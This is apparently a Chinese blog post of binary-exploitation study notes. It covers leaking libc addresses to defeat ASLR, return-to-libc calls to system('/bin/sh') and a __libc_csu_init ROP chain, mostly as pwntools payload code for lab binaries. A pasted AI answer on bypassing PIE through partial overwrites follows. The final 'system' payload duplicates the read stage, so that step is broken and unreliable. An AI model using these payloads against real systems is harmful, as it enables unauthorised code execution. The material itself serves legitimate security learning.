泄露地址和利用总结

已知libc.so

栈执行保护---------->调用libc.so system("/bin/sh")
关闭ASLR system在内存中的地址不会变化

如果elf中调用了print和read,那么我们就可以搜索内存直接调用。
如果开启ASLR, 我们可以根据got得到print@plt和system在libc.so中的偏移得到system
的地址。

read@plt write@plt 以及相关的got可以在调用的程序中通过elf格式搜索位置。因为程序本身的地址是不变化的。

当然 /bin/sh 字符串也可以在libc.so中的到。

所以关键就是得到libc.so的偏移。也就是突破aslr.

1.溢出点位置测试,
1) python pattern.py create 150生成字符串
2) python pattren.py offset 0x37654136
140

..........................................................................                                           低地址
                                                                                                                        +
                                                                                                                        +       	
 esp--->	buf->........                 //局部变量,保存的寄存器                             +              <-+
	                     .......                                                                                        +                 +
 esp--->  ebp   保存的ebp        //offset   0x37654136    140                            +                 +
   	                    ret                    //                                   144                             +            [esp-144]
   	                   参数1                                                                                        +
    	               参数2                                                                                        +
      	               参数.....                                                                                     +
.......................................................................                                          高地址

ssize_t write(int fd,const void *buf,size_t nbytes)

payload1 = ‘a’*140+p32(plt_wrtie)+p32(vulfun_addr)+p32(1)+p32(got_write)

..........................................................................                              低地址
                                                                                                           +
                                                                                                           +       	
 esp--->	buf->........                 //'a'*140                                             +              <-+
	                    .......                                                                            +                 +
 esp--->  ebp   保存的ebp        //                                                         +
   	                    ret                    //            p32(plt_wrtie)  //可调用         +             [esp-144]
   	                    参数1                               p32(vulfun_addr)                 +      //ret指向新函数增加一个返回函数
    	                参数2                               p32(1)                                 +
      	                参数.....                             p32(got_write)                    + 
                        .......                                  p32(4)
.......................................................................                               高地址

write_addr = p32.(p.recv(4))

system_addr = write_addr - (libc.symbols[‘write’]-libc.symbols[‘system’])

payload2 = ‘a’*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

小结

这里构造栈的时候有一个注意点,因为完整的调用栈是返回地址,参数1,2,3.这样子。当我们把返回地址参数覆盖的时候。程序返回的那个时刻,esp到了原来参数1的位置。eip跳转到了ret被覆盖的位置。那么此时栈的数据中,原来参数1所在的位置将会是此时新栈的ret地址。原来参数2,3,4的位置将会变成新函数栈参数1,2,3对应的位置。

不知道libc.so

d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')

.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)   //read三个参数
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
p.send(payload2)
p.send("/bin/sh\0")

64位溢出

linux_x64_ROP
x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,程序使用的内存地址不能大于0x00007fffffffffff
libc.so __libc_csu_init()

  4005f0:   4c 89 fa                mov    %r15,%rdx                                      <----------------------------
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  4005fd:   48 83 c3 01             add    $0x1,%rbx
  400601:   48 39 eb                cmp    %rbp,%rbx
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx                         <----------------------------
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq  

write write.got

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

read /bin/sh

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

system

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
<think>嗯,用户问的是在开启PIE(Position-Independent Executable)保护且程序没有泄露地址的情况下如何进行漏洞利用。这个问题看起来属于二进制利用的范畴,尤其是在现代安全机制下如何绕过保护措施。首先,我需要回顾一下PIE的作用常见漏洞利用方法,再结合没有栈地址泄露的情况来思考可能的利用途径。 首先,PIE保护使得程序每次运行时,代码段的基地址都会随机化,包括.text、.plt等段。这样攻击者无法直接使用固定的地址来跳转到特定的函数或gadgets。而如果程序没有泄露地址,传统的栈溢出利用中需要覆盖返回地址或构造ROP链的方法可能会遇到困难,因为攻击者不知道栈的具体位置,难以准确定位shellcode或伪造的栈结构。 接下来,我需要考虑在这种情况下可能的攻击面。例如,是否有其他信息泄露的可能,或者是否存在非栈相关的漏洞利用方式。比如,如果存在堆溢出或格式化字符串漏洞,即使没有栈地址泄露,也可能通过其他方式获取基地址或绕过PIE。 假设程序存在缓冲区溢出漏洞,但无法泄露地址,那么可能需要寻找其他方法来绕过PIE。比如,如果存在部分地址泄露,如某个函数的地址,可以通过计算偏移来确定基地址。但用户明确提到没有栈地址泄露,所以可能需要其他途径。 另外,考虑是否有可用的信息泄露漏洞。例如,如果程序在崩溃时输出某些寄存器的内容或部分内存内容,可能利用这些信息来计算基地址。或者,是否存在其他漏洞如Use After Free(UAF)或信息泄露漏洞,可以间接获取到代码段的地址。 如果程序完全没有泄露任何地址,包括堆地址或库函数地址,那么可能需要采用盲攻击的方式,比如通过多次尝试或侧信道攻击来推测基地址。不过这种方法成功率较低,尤其是在ASLR(地址空间布局随机化)较强的情况下。 另外,考虑是否可以构造一个部分覆盖的攻击。例如,在覆盖返回地址时,PIE的随机化通常会影响地址的高位字节,而低位字节可能相对固定。如果溢出漏洞允许精确覆盖部分地址,可能通过修改低位字节来跳转到附近的gadget,如函数内部的某个位置。例如,某个函数的返回地址可能被修改为同一函数内的一个pop-ret指令,用于构造ROP链。 此外,如果程序没有开启其他保护措施,如Canary保护,可能结合栈溢出修改局部变量或函数指针,如通过覆盖存储在堆或全局变量中的函数指针(例如GOT表,但PIE下GOT地址也是随机的)。不过GOT表在开启PIE的情况下同样会被随机化,所以可能需要先泄露GOT地址才能修改。 另一个可能性是使用面向返回编程(ROP),但需要先确定代码段的基地址。如果没有任何泄露,这种方法可能不可行。因此,可能需要结合其他漏洞来获取基地址,比如通过格式化字符串漏洞读取内存中的某个指针,或者利用堆漏洞获取某个对象的地址,进而计算出基地址。 总结可能的步骤: 1. 寻找信息泄露漏洞,获取代码段或库的基地址。 2. 如果没有直接泄露,尝试部分覆盖或利用固定偏移的gadgets。 3. 使用多次尝试(爆破)基地址,如果可能的化。 4. 结合其他漏洞类型,如堆溢出、UAF等,构造利用链。 比如,如果存在堆溢出,并且可以覆盖某个函数指针(如析构函数、回调函数等),可能需要先通过堆布局来预测或控制该指针的位置,然后将其指向已有的gadget。但由于PIE的存在,需要知道gadget的地址,这又回到了需要基地址的问题。 或者,如果程序中有非PIE的部分,如某些库未被编译为PIE,可能利用其中的gadgets,但现代系统通常所有库都启用ASLR。 可能还有一种情况是,如果程序存在可预测的地址,比如某些情况下,虽然PIE启用,但随机化范围有限,可能通过爆破来猜测基地址。例如,在32位系统中,地址空间较小,可能可行,但在64位系统中,地址空间巨大,这种方法不现实。 另外,考虑是否可以通过覆盖.got.plt表中的条目,但需要知道.got.plt地址,这同样需要基地址。或者,如果程序调用了某些库函数,可以通过覆盖GOT中的函数地址,但同样需要先泄露地址。 如果所有方法都无法泄露地址,可能需要重新审视漏洞是否存在其他利用方式,比如通过覆盖栈上的局部变量改变程序逻辑,而不直接控制执行流。例如,修改一个存储长度的变量,导致后续的堆溢出或信息泄露。 或者,利用程序中的逻辑漏洞,结合内存破坏漏洞,逐步构造利用链。例如,先通过溢出修改某个指针,使其指向可控数据,再通过该指针进行进一步的读写操作,从而泄露地址或执行代码。 总之,关键点在于如何在缺乏栈地址代码段基地址的情况下,找到信息泄露的途径或找到无需绝对地址利用方法。这可能需要对目标程序进行深入分析,寻找其他漏洞的配合使用。</think>在开启PIE(位置无关可执行文件)保护且无栈地址泄露的情况下,漏洞利用需结合其他技术手段。以下是分步骤的技术分析: --- ### **1. 理解PIE的保护机制** - **PIE的作用**:每次运行时,程序基地址(如代码段、GOT表)随机化,攻击者无法硬编码地址。 - **关键限制**:需泄露代码段基地址或找到无需绝对地址利用方式。 --- ### **2. 漏洞利用核心思路** #### **思路1:间接信息泄露** - **目标**:通过非栈地址泄露获取基地址。 - **可能途径**: - **堆漏洞利用**:若存在堆溢出/UAF,可能泄露堆中的函数指针(如虚表指针),结合偏移计算基地址。 - **格式化字符串漏洞**:读取程序内存中的残留指针(如`main`函数返回地址),推算代码段基地址。 - **侧信道攻击**:通过程序崩溃差异推测内存布局(成功率低)。 #### **思路2:部分地址覆盖(Partial Overwrite)** - **原理**:PIE随机化高位字节,低位字节可能固定(如函数内偏移)。 - **示例**:覆盖返回地址的低2字节,跳转到`main`函数内部的`pop rdi; ret` gadget。 - **条件**:溢出漏洞需精准控制覆盖位置,且目标gadget低位偏移已知。 #### **思路3:非控制流劫持利用** - **修改关键数据**:覆盖栈/堆中的敏感变量(如身份校验标志、循环计数器)。 - **示例**:修改栈上的`is_admin`变量为`1`,绕过权限检查。 #### **思路4:组合漏洞利用** - **分阶段攻击**: 1. **阶段一**:通过漏洞A(如堆溢出)篡改指针,构造可控读写原语。 2. **阶段二**:利用可控读写泄露GOT表地址,计算基地址。 3. **阶段三**:构造ROP链调用`system("/bin/sh")`。 --- ### **3. 具体利用场景示例** #### **场景:存在栈溢出 + 可泄露libc地址** 1. **泄露libc基地址**: - 通过覆盖返回地址为`printf@plt`,泄露libc中的地址(如`printf`的实际地址)。 - 计算libc基地址:`libc_base = leaked_printf_addr - libc.symbols["printf"]`。 2. **构造ROP链**: - 即使PIE开启,libc基地址已知后,可直接使用libc中的gadgets(如`system`、`/bin/sh`字符串)。 #### **场景:无泄露 + 部分覆盖** 1. **定位固定偏移gadget**: - 反编译程序,找到函数内部的短gadget(如`0x1234`处的`ret`指令)。 2. **覆盖返回地址低位**: - 假设基地址随机化范围为`0x55...0000`,覆盖返回地址为`0x55...1234`,跳转到`ret`指令。 3. **堆栈平衡**:通过多次`ret`滑动到可控内存区域执行shellcode(需NX关闭)。 --- ### **4. 缓解措施与绕过限制** - **若同时开启NX**:需转向ROP,依赖libc或其他段的gadgets。 - **若存在Canary**:需先泄露Canary值或绕过Canary检查(如覆盖非返回地址数据)。 --- ### **5. 总结** - **关键点**:通过组合漏洞(信息泄露 + 内存破坏)或部分覆盖,间接绕过PIE。 - **难点**:精准控制覆盖位置、预测/泄露地址。 - **工具辅助**:使用`pwntools`的`PIE`偏移计算功能,或动态调试获取运行时偏移。 --- **示例Payload构造(部分覆盖)**: ```python # 假设 vuln_func 的返回地址低位为 0x1234 payload = b"A" * offset + p16(0x1234) ``` 通过以上方法,即使PIE开启且无栈泄露,仍可能实现漏洞利用,但技术门槛较高,需结合目标程序的上下文环境灵活调整。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值